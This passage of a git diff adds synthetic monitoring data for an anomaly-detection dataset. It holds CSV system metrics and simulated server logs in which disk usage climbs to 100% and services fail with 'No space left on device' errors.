+2025-08-15T14:31:40Z,23.93,41.31,56.48,21.56,0.76,0.83 +2025-08-15T14:31:45Z,23.21,41.81,57.2,32.59,0.6,1.09 +2025-08-15T14:31:50Z,23.27,42.39,58.57,33.6,1.09,0.91 +2025-08-15T14:31:55Z,29.08,38.73,59.19,27.83,0.78,1.01 +2025-08-15T14:32:00Z,25.0,45.46,60.92,32.27,0.95,1.48 +2025-08-15T14:32:05Z,27.12,40.82,60.76,32.66,0.1,1.47 +2025-08-15T14:32:10Z,24.67,48.68,62.31,23.64,0.56,1.47 +2025-08-15T14:32:15Z,24.76,42.2,62.77,22.1,0.92,1.07 +2025-08-15T14:32:20Z,21.85,41.19,64.23,32.63,0.49,1.63 +2025-08-15T14:32:25Z,28.15,40.3,65.56,29.49,0.8,1.52 +2025-08-15T14:32:30Z,28.74,43.24,65.13,32.09,0.52,1.02 +2025-08-15T14:32:35Z,22.98,46.85,66.31,27.41,0.74,0.92 +2025-08-15T14:32:40Z,26.58,43.61,67.13,27.03,1.04,1.9 +2025-08-15T14:32:45Z,25.36,42.87,67.98,29.63,1.12,1.34 +2025-08-15T14:32:50Z,22.12,39.56,69.81,26.4,0.73,1.25 +2025-08-15T14:32:55Z,20.14,46.44,69.99,37.89,0.85,1.42 +2025-08-15T14:33:00Z,27.38,37.01,70.99,31.16,0.85,1.63 +2025-08-15T14:33:05Z,20.04,50.15,72.51,35.17,0.46,1.44 +2025-08-15T14:33:10Z,22.68,41.67,73.33,32.06,0.59,1.68 +2025-08-15T14:33:15Z,23.83,41.14,73.3,28.99,0.96,1.3 +2025-08-15T14:33:20Z,19.95,44.04,75.11,33.41,0.85,1.03 +2025-08-15T14:33:25Z,22.92,43.71,74.92,30.69,0.77,1.31 +2025-08-15T14:33:30Z,28.07,50.7,75.31,35.42,0.7,1.26 +2025-08-15T14:33:35Z,25.62,53.32,76.74,27.21,0.75,1.3 +2025-08-15T14:33:40Z,27.98,41.86,78.56,34.63,0.74,1.59 +2025-08-15T14:33:45Z,27.06,47.48,79.21,32.26,0.9,1.19 +2025-08-15T14:33:50Z,25.98,42.52,79.11,24.36,0.66,0.67 +2025-08-15T14:33:55Z,23.56,44.63,80.54,27.46,0.67,1.15 +2025-08-15T14:34:00Z,24.91,47.55,80.94,26.88,0.94,1.72 +2025-08-15T14:34:05Z,23.01,44.24,81.67,24.01,0.27,0.68 +2025-08-15T14:34:10Z,35.15,47.27,82.87,30.45,0.66,1.49 +2025-08-15T14:34:15Z,25.48,40.62,84.15,25.37,1.06,1.45 +2025-08-15T14:34:20Z,30.91,49.55,84.9,27.17,0.66,1.08 +2025-08-15T14:34:25Z,28.3,45.84,86.99,32.84,0.74,1.59 +2025-08-15T14:34:30Z,21.71,40.4,87.12,29.57,0.87,1.5 +2025-08-15T14:34:35Z,23.2,47.12,87.51,32.74,0.54,1.19 +2025-08-15T14:34:40Z,23.81,39.6,87.75,61.31,0.65,1.37 +2025-08-15T14:34:45Z,27.19,41.66,88.57,96.38,0.8,1.2 +2025-08-15T14:34:50Z,26.39,42.8,90.02,131.91,0.9,1.18 +2025-08-15T14:34:55Z,31.6,51.67,89.78,156.85,0.76,1.34 +2025-08-15T14:35:00Z,25.97,42.16,91.89,172.51,0.72,1.06 +2025-08-15T14:35:05Z,26.74,48.36,91.43,175.8,1.27,1.31 +2025-08-15T14:35:10Z,22.28,44.48,92.79,177.02,0.86,1.08 +2025-08-15T14:35:15Z,21.77,44.32,94.91,176.73,1.21,1.34 +2025-08-15T14:35:20Z,25.57,54.01,95.14,163.56,0.56,0.98 +2025-08-15T14:35:25Z,26.93,48.45,95.3,5.16,0.74,1.36 +2025-08-15T14:35:30Z,24.34,39.8,95.53,9.02,0.75,1.08 +2025-08-15T14:35:35Z,34.55,54.3,95.46,5.25,0.91,1.11 +2025-08-15T14:35:40Z,26.56,48.64,95.74,2.93,0.98,1.6 +2025-08-15T14:35:45Z,22.7,46.08,95.85,2.72,0.7,0.93 +2025-08-15T14:35:50Z,27.02,44.04,95.77,10.68,0.73,1.19 +2025-08-15T14:35:55Z,25.27,48.68,96.43,3.42,0.9,1.07 +2025-08-15T14:36:00Z,21.86,50.82,96.61,5.76,0.96,1.18 +2025-08-15T14:36:05Z,23.83,40.42,96.39,3.64,0.97,1.19 +2025-08-15T14:36:10Z,25.7,51.0,96.67,7.92,0.96,1.38 +2025-08-15T14:36:15Z,27.54,41.85,96.51,1.83,0.84,1.73 +2025-08-15T14:36:20Z,26.32,39.74,97.54,1.92,0.78,1.01 +2025-08-15T14:36:25Z,25.74,50.77,98.07,3.97,1.18,1.52 +2025-08-15T14:36:30Z,28.35,49.97,98.29,7.6,0.5,1.5 +2025-08-15T14:36:35Z,27.08,47.37,98.19,2.5,0.66,1.38 +2025-08-15T14:36:40Z,25.42,48.88,97.55,6.36,1.14,1.58 +2025-08-15T14:36:45Z,20.56,48.4,97.7,5.38,0.77,1.25 +2025-08-15T14:36:50Z,28.67,35.8,98.44,5.21,0.8,1.02 +2025-08-15T14:36:55Z,23.79,45.53,99.72,5.49,0.58,1.24 +2025-08-15T14:37:00Z,20.71,46.96,99.38,6.11,0.58,1.63 +2025-08-15T14:37:05Z,24.55,45.15,99.98,5.19,0.87,1.26 +2025-08-15T14:37:10Z,31.34,38.11,99.92,5.19,0.96,0.89 +2025-08-15T14:37:15Z,23.1,51.35,100.0,4.42,0.99,1.25 +2025-08-15T14:37:20Z,24.48,45.86,99.44,5.83,0.69,1.42 +2025-08-15T14:37:25Z,22.99,47.9,98.98,2.48,0.85,0.56 diff --git a/anom_dataset/scenario_3/anom_3_22.log b/anom_dataset/scenario_3/anom_3_22.log new file mode 100644 index 0000000000000000000000000000000000000000..de5adac4c8c63548274e1cc265bf0b432b4be5f4 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_22.log @@ -0,0 +1,179 @@ +nginx[4122]: GET /healthz HTTP/1.1 200 OK +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +Aug 15 14:30:03 kernel: Out of memory: Kill process 18561 (some_process) score 900 or sacrifice child +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:30:08 kernel: Out of memory: Kill process 1097 (some_process) score 900 or sacrifice child +nginx[6918]: GET /healthz HTTP/1.1 200 OK +db-postgres[13769]: LOG: statement: COMMIT +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +Aug 15 14:30:11 kernel: Out of memory: Kill process 5082 (some_process) score 900 or sacrifice child +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +Aug 15 14:30:15 kernel: Out of memory: Kill process 3098 (some_process) score 900 or sacrifice child +sshd[1833]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +sshd[3445]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +kernel: [ 1755268219.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=17194 comm="sshd" +nginx[18529]: GET /healthz HTTP/1.1 200 OK +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +sshd[15295]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +sshd[11776]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +kernel: [ 1755268227.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=6100 comm="sshd" +kernel: [ 1755268229.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=2379 comm="sshd" +db-postgres[11870]: LOG: statement: COMMIT +sshd[11124]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +sshd[17702]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +kernel: [ 1755268233.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=9721 comm="sshd" +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:30:37 kernel: Out of memory: Kill process 9306 (some_process) score 900 or sacrifice child +systemd[1]: Started Session 15852 of user root. +Aug 15 14:30:38 kernel: Out of memory: Kill process 11247 (some_process) score 900 or sacrifice child +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +sshd[11970]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +systemd[1]: Started Session 5156 of user root. +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +sshd[8172]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +systemd[1]: Started Session 17314 of user root. +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:30:49 kernel: Out of memory: Kill process 2086 (some_process) score 900 or sacrifice child +Aug 15 14:30:51 kernel: Out of memory: Kill process 12788 (some_process) score 900 or sacrifice child +kernel: [ 1755268252.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=14122 comm="sshd" +kernel: [ 1755268253.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=12921 comm="sshd" +systemd[1]: Started Session 10495 of user root. +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +Aug 15 14:30:55 kernel: Out of memory: Kill process 13193 (some_process) score 900 or sacrifice child +sshd[7794]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +db-postgres[12098]: LOG: statement: COMMIT +nginx[8384]: GET /healthz HTTP/1.1 200 OK +systemd[1]: Started Session 19828 of user root. +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +sshd[19698]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +Aug 15 14:31:05 kernel: Out of memory: Kill process 8842 (some_process) score 900 or sacrifice child +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +systemd[1]: Started Session 7353 of user root. +Aug 15 14:31:09 kernel: Out of memory: Kill process 19838 (some_process) score 900 or sacrifice child +systemd[1]: Started Session 17178 of user root. +nginx[19471]: GET /healthz HTTP/1.1 200 OK +db-postgres[15225]: LOG: statement: COMMIT +sshd[18743]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +systemd[1]: Started Session 9063 of user root. +kernel: [ 1755268276.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=19790 comm="sshd" +sshd[17654]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +sshd[6256]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +kernel: [ 1755268281.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=3545 comm="sshd" +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +systemd[1]: Started Session 8875 of user root. +sshd[19210]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +nginx[4538]: GET /healthz HTTP/1.1 200 OK +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +kernel: [ 1755268290.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=4092 comm="sshd" +nginx[12537]: GET /healthz HTTP/1.1 200 OK +sshd[4949]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +kernel: [ 1755268296.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=10501 comm="sshd" +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +kernel: [ 1755268298.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=3458 comm="sshd" +nginx[14018]: GET /healthz HTTP/1.1 200 OK +nginx[14479]: GET /healthz HTTP/1.1 200 OK +nginx[5196]: GET /healthz HTTP/1.1 200 OK +nginx[8875]: GET /healthz HTTP/1.1 200 OK +nginx[14209]: GET /healthz HTTP/1.1 200 OK +kernel: [ 1755268306.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=7178 comm="sshd" +db-postgres[12562]: LOG: statement: COMMIT +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +systemd[1]: Started Session 11997 of user root. +kernel: [ 1755268311.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=8774 comm="sshd" +kernel: [ 1755268312.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=10830 comm="sshd" +systemd[1]: Started Session 15884 of user root. +db-postgres[13689]: LOG: statement: COMMIT +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +systemd[1]: Started Session 7881 of user root. +db-postgres[3116]: LOG: statement: COMMIT +nginx[17698]: GET /healthz HTTP/1.1 200 OK +sshd[7530]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +sshd[9505]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +systemd[1]: Started Session 5103 of user root. +kernel: [ 1755268323.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=18541 comm="sshd" +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +systemd[1]: Started Session 11390 of user root. +sshd[13270]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +sshd[9076]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +kernel: [ 1755268333.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=3532 comm="sshd" +db-postgres[5328]: LOG: statement: COMMIT +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +systemd[1]: Started Session 4595 of user root. +db-postgres[1711]: LOG: statement: COMMIT +nginx[12156]: GET /healthz HTTP/1.1 200 OK +nginx[7607]: GET /healthz HTTP/1.1 200 OK +Aug 15 14:32:22 kernel: Out of memory: Kill process 1441 (some_process) score 900 or sacrifice child +systemd[1]: Started Session 4065 of user root. +kernel: [ 1755268345.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=12311 comm="sshd" +kernel: [ 1755268346.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=11912 comm="sshd" +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +db-postgres[15189]: LOG: statement: COMMIT +kernel: [ 1755268353.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=15094 comm="sshd" +kubelet[2345]: INFO Liveness probe succeeded for pod web-server-xyz +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +sshd[12787]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +db-postgres[15741]: LOG: statement: COMMIT +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +kernel: [ 1755268361.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=3099 comm="sshd" +systemd[1]: Started Session 16922 of user root. +kernel: [ 1755268364.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=14230 comm="sshd" +log-rotator[15011]: ERROR: Failed to rotate logs. cp: cannot create regular file '/var/log/app/archive/app.log.1': No space left on device +nginx[4168]: [crit] 28147#0: *13337666 write() to "/var/log/nginx/access.log" failed (28: No space left on device) while logging request +log-rotator[10550]: ERROR: Failed to rotate logs. cp: cannot create regular file '/var/log/app/archive/app.log.1': No space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +systemd-journald[3887]: Failed to write entry to /var/log/journal/, ignoring: No space left on device +db-postgres[2946]: LOG: statement: COMMIT +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +sshd[3709]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +sshd[6220]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +systemd-journald[18145]: Failed to write entry to /var/log/journal/, ignoring: No space left on device +log-rotator[8359]: ERROR: Failed to rotate logs. cp: cannot create regular file '/var/log/app/archive/app.log.1': No space left on device +postgres[12784]: PANIC: could not write to file "pg_wal/xlogtemp.123": No space left on device +db-postgres[9665]: LOG: statement: COMMIT +kernel: [ 1755268381.54321] EXT4-fs error (device sda1): ext4_dx_add_entry:2019: Directory index full! +nginx[18757]: [crit] 28147#0: *13337666 write() to "/var/log/nginx/access.log" failed (28: No space left on device) while logging request +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +systemd-journald[11901]: Failed to write entry to /var/log/journal/, ignoring: No space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +nginx[4886]: [crit] 28147#0: *13337666 write() to "/var/log/nginx/access.log" failed (28: No space left on device) while logging request +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +nginx[3884]: [crit] 28147#0: *13337666 write() to "/var/log/nginx/access.log" failed (28: No space left on device) while logging request +db-postgres[1802]: LOG: statement: COMMIT +systemd[1]: Started Session 8676 of user root. +kernel: [ 1755268396.54321] EXT4-fs error (device sda1): ext4_dx_add_entry:2019: Directory index full! +nginx[10693]: [crit] 28147#0: *13337666 write() to "/var/log/nginx/access.log" failed (28: No space left on device) while logging request +systemd-journald[19093]: Failed to write entry to /var/log/journal/, ignoring: No space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +systemd-journald[3026]: Failed to write entry to /var/log/journal/, ignoring: No space left on device +log-rotator[18874]: ERROR: Failed to rotate logs. cp: cannot create regular file '/var/log/app/archive/app.log.1': No space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +systemd-journald[16284]: Failed to write entry to /var/log/journal/, ignoring: No space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +systemd-journald[15006]: Failed to write entry to /var/log/journal/, ignoring: No space left on device +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +postgres[7877]: PANIC: could not write to file "pg_wal/xlogtemp.123": No space left on device +kernel: [ 1755268415.12345] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=2888 comm="sshd" +kubelet[2345]: ERROR Failed to write pod logs: write /var/log/pods/somepod.log: no space left on device +log-rotator[7915]: ERROR: Failed to rotate logs. cp: cannot create regular file '/var/log/app/archive/app.log.1': No space left on device diff --git a/anom_dataset/scenario_3/anom_3_23.csv b/anom_dataset/scenario_3/anom_3_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..01f97f55ede4402befa0c86de5b1b75b3a26be65 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,20.36,38.31,27.76,1.38,0.75 +2025-07-03T11:00:05Z,19.78,38.42,25.59,0.47,1.38 +2025-07-03T11:00:10Z,21.19,39.53,29.93,0.61,0.67 +2025-07-03T11:00:15Z,19.33,39.5,35.15,1.37,1.64 +2025-07-03T11:00:20Z,11.69,40.22,28.56,0.85,1.24 +2025-07-03T11:00:25Z,25.64,40.77,34.9,1.34,1.25 +2025-07-03T11:00:30Z,18.63,38.58,26.74,1.05,1.76 +2025-07-03T11:00:35Z,16.54,42.0,34.95,0.38,1.31 +2025-07-03T11:00:40Z,19.56,42.08,29.29,1.14,1.28 +2025-07-03T11:00:45Z,14.19,41.05,25.63,0.71,0.75 +2025-07-03T11:00:50Z,15.79,39.71,30.62,0.9,1.39 +2025-07-03T11:00:55Z,15.04,38.61,28.04,0.57,1.42 +2025-07-03T11:01:00Z,16.02,42.06,27.71,1.21,1.43 +2025-07-03T11:01:05Z,21.96,45.51,28.18,0.77,0.84 +2025-07-03T11:01:10Z,19.35,35.14,28.17,1.19,0.68 +2025-07-03T11:01:15Z,17.91,36.82,24.35,0.64,1.56 +2025-07-03T11:01:20Z,16.16,46.71,32.18,0.35,0.89 +2025-07-03T11:01:25Z,20.3,44.6,35.08,0.89,1.48 +2025-07-03T11:01:30Z,15.7,39.33,36.67,0.95,0.7 +2025-07-03T11:01:35Z,19.65,40.4,25.9,0.31,1.33 +2025-07-03T11:01:40Z,19.33,42.26,40.07,0.73,1.19 +2025-07-03T11:01:45Z,21.12,39.17,30.46,0.6,0.71 +2025-07-03T11:01:50Z,24.36,46.6,26.3,1.47,1.41 +2025-07-03T11:01:55Z,17.9,42.73,29.32,0.46,1.3 +2025-07-03T11:02:00Z,19.45,32.24,28.03,1.27,1.29 +2025-07-03T11:02:05Z,6.26,35.04,28.72,0.9,1.6 +2025-07-03T11:02:10Z,15.01,38.19,30.49,1.19,1.69 +2025-07-03T11:02:15Z,27.47,38.51,30.27,1.07,0.61 +2025-07-03T11:02:20Z,28.14,42.8,35.36,0.49,1.5 +2025-07-03T11:02:25Z,16.98,44.23,33.66,0.49,1.73 +2025-07-03T11:02:30Z,22.07,38.86,35.32,0.94,1.52 +2025-07-03T11:02:35Z,25.53,40.04,36.32,0.55,0.97 +2025-07-03T11:02:40Z,29.74,44.71,35.03,0.83,1.08 +2025-07-03T11:02:45Z,17.05,36.1,42.29,0.75,0.83 +2025-07-03T11:02:50Z,28.45,36.28,43.59,1.21,0.93 +2025-07-03T11:02:55Z,25.85,39.25,39.26,1.22,1.53 +2025-07-03T11:03:00Z,17.17,40.36,43.64,1.35,1.74 +2025-07-03T11:03:05Z,10.64,34.19,44.43,1.42,1.59 +2025-07-03T11:03:10Z,17.83,39.0,46.49,0.51,0.8 +2025-07-03T11:03:15Z,18.86,43.13,45.7,0.7,1.18 +2025-07-03T11:03:20Z,17.48,44.44,49.75,1.19,1.47 +2025-07-03T11:03:25Z,24.1,40.47,48.38,0.92,1.18 +2025-07-03T11:03:30Z,29.0,33.35,51.29,1.28,0.76 +2025-07-03T11:03:35Z,18.37,37.29,55.56,0.67,0.87 +2025-07-03T11:03:40Z,25.32,44.01,50.38,1.24,0.63 +2025-07-03T11:03:45Z,26.03,42.0,53.66,0.98,1.61 +2025-07-03T11:03:50Z,20.27,42.25,56.61,1.01,0.66 +2025-07-03T11:03:55Z,9.89,38.33,56.86,1.11,1.05 +2025-07-03T11:04:00Z,21.19,35.65,62.18,0.39,1.34 +2025-07-03T11:04:05Z,23.44,41.88,60.01,1.2,0.91 +2025-07-03T11:04:10Z,14.78,42.5,65.83,0.65,1.15 +2025-07-03T11:04:15Z,24.7,36.74,61.21,0.98,0.54 +2025-07-03T11:04:20Z,24.54,36.56,63.84,0.32,1.71 +2025-07-03T11:04:25Z,23.23,49.48,67.93,0.71,1.3 +2025-07-03T11:04:30Z,20.66,36.11,66.65,0.91,1.46 +2025-07-03T11:04:35Z,22.54,41.68,71.89,0.47,1.32 +2025-07-03T11:04:40Z,25.42,40.27,69.22,1.18,1.08 +2025-07-03T11:04:45Z,18.02,40.52,70.62,1.07,0.69 +2025-07-03T11:04:50Z,17.52,40.26,72.55,0.88,0.73 +2025-07-03T11:04:55Z,13.82,43.19,74.58,1.01,1.69 +2025-07-03T11:05:00Z,20.2,42.23,73.9,1.01,1.19 +2025-07-03T11:05:05Z,12.47,43.91,81.31,0.31,1.29 +2025-07-03T11:05:10Z,23.68,36.84,76.96,0.71,0.56 +2025-07-03T11:05:15Z,23.35,37.97,79.48,1.48,0.69 +2025-07-03T11:05:20Z,20.81,37.19,79.99,0.34,1.41 +2025-07-03T11:05:25Z,14.86,45.91,83.51,1.01,1.57 +2025-07-03T11:05:30Z,22.99,36.61,86.53,0.65,1.07 +2025-07-03T11:05:35Z,13.02,43.22,85.92,0.68,1.43 +2025-07-03T11:05:40Z,18.51,44.66,86.83,1.27,1.34 +2025-07-03T11:05:45Z,17.65,42.93,89.62,0.66,0.78 +2025-07-03T11:05:50Z,24.96,37.2,88.52,0.95,0.68 +2025-07-03T11:05:55Z,18.46,38.4,90.33,1.47,1.12 +2025-07-03T11:06:00Z,16.1,33.02,88.91,1.26,0.77 +2025-07-03T11:06:05Z,22.83,42.77,92.82,1.06,0.93 +2025-07-03T11:06:10Z,16.41,42.03,97.08,1.16,1.54 +2025-07-03T11:06:15Z,9.48,43.39,96.01,1.15,1.31 +2025-07-03T11:06:20Z,21.06,43.31,97.07,1.05,1.33 +2025-07-03T11:06:25Z,23.96,43.33,97.19,1.31,0.68 +2025-07-03T11:06:30Z,19.31,42.66,97.77,1.48,1.68 +2025-07-03T11:06:35Z,23.46,37.06,98.1,1.03,1.32 +2025-07-03T11:06:40Z,11.95,42.75,98.84,1.01,1.02 +2025-07-03T11:06:45Z,18.05,40.21,99.33,1.07,1.15 +2025-07-03T11:06:50Z,30.65,41.8,99.52,0.94,1.23 +2025-07-03T11:06:55Z,13.2,43.74,98.87,0.97,1.1 +2025-07-03T11:07:00Z,22.68,44.07,99.47,1.13,1.6 +2025-07-03T11:07:05Z,20.01,42.7,100.0,1.06,0.69 +2025-07-03T11:07:10Z,16.43,33.99,100.0,1.07,1.26 +2025-07-03T11:07:15Z,25.0,42.22,100.0,1.29,1.35 +2025-07-03T11:07:20Z,20.16,42.55,100.0,0.84,1.75 +2025-07-03T11:07:25Z,20.86,34.92,100.0,0.34,0.55 diff --git a/anom_dataset/scenario_3/anom_3_23.log b/anom_dataset/scenario_3/anom_3_23.log new file mode 100644 index 0000000000000000000000000000000000000000..987aa3241c81a8e150a80023a7fe3a08fe4935e1 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_23.log @@ -0,0 +1,36 @@ +Jul 03 11:00:00 kubelet[10288]: INFO Successfully probed container metrics-collector +Jul 03 11:00:05 nginx[11433]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:15 kubelet[22543]: INFO Successfully probed container metrics-collector +Jul 03 11:00:35 kubelet[22966]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:01:00 kubelet[21227]: INFO Successfully probed container metrics-collector +Jul 03 11:01:35 kubelet[12446]: INFO Successfully probed container metrics-collector +Jul 03 11:01:45 CRON[21923]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 11:01:50 CRON[10254]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 11:02:00 CRON[13488]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 11:02:15 kubelet[9176]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:02:25 systemd[1]: Started Session 30 of user ubuntu. +Jul 03 11:02:30 nginx[18161]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:02:35 CRON[16924]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 11:02:40 systemd[1]: Started Session 21 of user ubuntu. +Jul 03 11:03:00 kubelet[11553]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:03:15 CRON[22781]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 11:03:40 kubelet[2954]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:03:50 systemd[1]: Started Session 44 of user ubuntu. +Jul 03 11:04:00 sshd[18048]: Accepted publickey for ubuntu from 192.168.1.174 port 29935 ssh2 +Jul 03 11:04:05 kubelet[22192]: INFO Successfully probed container metrics-collector +Jul 03 11:04:25 systemd[1]: Finished Daily apt download activities. +Jul 03 11:04:30 CRON[15363]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 11:04:35 CRON[8603]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 11:04:45 systemd[1]: Started Session 49 of user ubuntu. +Jul 03 11:04:50 kubelet[23806]: INFO Successfully probed container metrics-collector +Jul 03 11:05:05 nginx[14987]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:05:30 postgres[12501]: ERROR: could not extend file "base/16384/16391": No space left 